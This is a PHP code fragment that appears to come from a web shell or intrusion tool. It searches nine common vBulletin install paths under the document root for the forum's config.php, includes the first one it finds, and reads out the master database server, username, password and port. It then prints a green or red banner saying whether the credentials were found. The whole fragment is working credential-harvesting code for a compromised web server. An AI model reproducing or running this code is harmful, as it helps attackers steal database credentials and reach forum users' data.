$root_path = CleanDir($_SERVER['DOCUMENT_ROOT']); $path1 = "$root_path/includes/config.php"; $path2 = "$root_path/forum/includes/config.php"; $path3 = "$root_path/forums/includes/config.php"; $path4 = "$root_path/foro/includes/config.php"; $path5 = "$root_path/foros/includes/config.php"; $path6 = "$root_path/board/includes/config.php"; $path7 = "$root_path/community/includes/config.php"; $path8 = "$root_path/vb/includes/config.php"; $path9 = "$root_path/vbulletin/includes/config.php"; if (file_exists($path1)) { include ($path1); $confighost = $config['MasterServer']['servername']; $configuser = $config['MasterServer']['username']; $configpassword = $config['MasterServer']['password']; $configport = $config['MasterServer']['port']; echo "<center><b><font color='green'>vB config information found!</font></b></center>"; } elseif (file_exists($path2)) { include ($path2); $confighost = $config['MasterServer']['servername']; $configuser = $config['MasterServer']['username']; $configpassword = $config['MasterServer']['password']; $configport = $config['MasterServer']['port']; echo "<center><b><font color='green'>vB config information found!</font></b></center>"; } elseif (file_exists($path3)) { include ($path3); $confighost = $config['MasterServer']['servername']; $configuser = $config['MasterServer']['username']; $configpassword = $config['MasterServer']['password']; $configport = $config['MasterServer']['port']; echo "<center><b><font color='green'>vB config information found!</font></b></center>"; } elseif (file_exists($path4)) { include ($path4); $confighost = $config['MasterServer']['servername']; $configuser = $config['MasterServer']['username']; $configpassword = $config['MasterServer']['password']; $configport = $config['MasterServer']['port']; echo "<center><b><font color='green'>vB config information found!</font></b></center>"; } elseif (file_exists($path5)) { include ($path5); $confighost = $config['MasterServer']['servername']; $configuser = $config['MasterServer']['username']; $configpassword = $config['MasterServer']['password']; $configport = $config['MasterServer']['port']; echo "<center><b><font color='green'>vB config information found!</font></b></center>"; } elseif (file_exists($path6)) { include ($path6); $confighost = $config['MasterServer']['servername']; $configuser = $config['MasterServer']['username']; $configpassword = $config['MasterServer']['password']; $configport = $config['MasterServer']['port']; echo "<center><b><font color='green'>vB config information found!</font></b></center>"; } elseif (file_exists($path7)) { include ($path7); $confighost = $config['MasterServer']['servername']; $configuser = $config['MasterServer']['username']; $configpassword = $config['MasterServer']['password']; $configport = $config['MasterServer']['port']; echo "<center><b><font color='green'>vB config information found!</font></b></center>"; } elseif (file_exists($path8)) { include ($path8); $confighost = $config['MasterServer']['servername']; $configuser = $config['MasterServer']['username']; $configpassword = $config['MasterServer']['password']; $configport = $config['MasterServer']['port']; echo "<center><b><font color='green'>vB config information found!</font></b></center>"; } elseif (file_exists($path9)) { include ($path9); $confighost = $config['MasterServer']['servername']; $configuser = $config['MasterServer']['username']; $configpassword = $config['MasterServer']['password']; $configport = $config['MasterServer']['port']; echo "<center><b><font color='green'>vB config information found!</font></b></center>"; } else { $confighost = "localhost"; $configuser = ""; $configpassword = ""; $configport = "3306"; echo "<center><b><font color='red'>No vB config information found!</font></b></center>"; }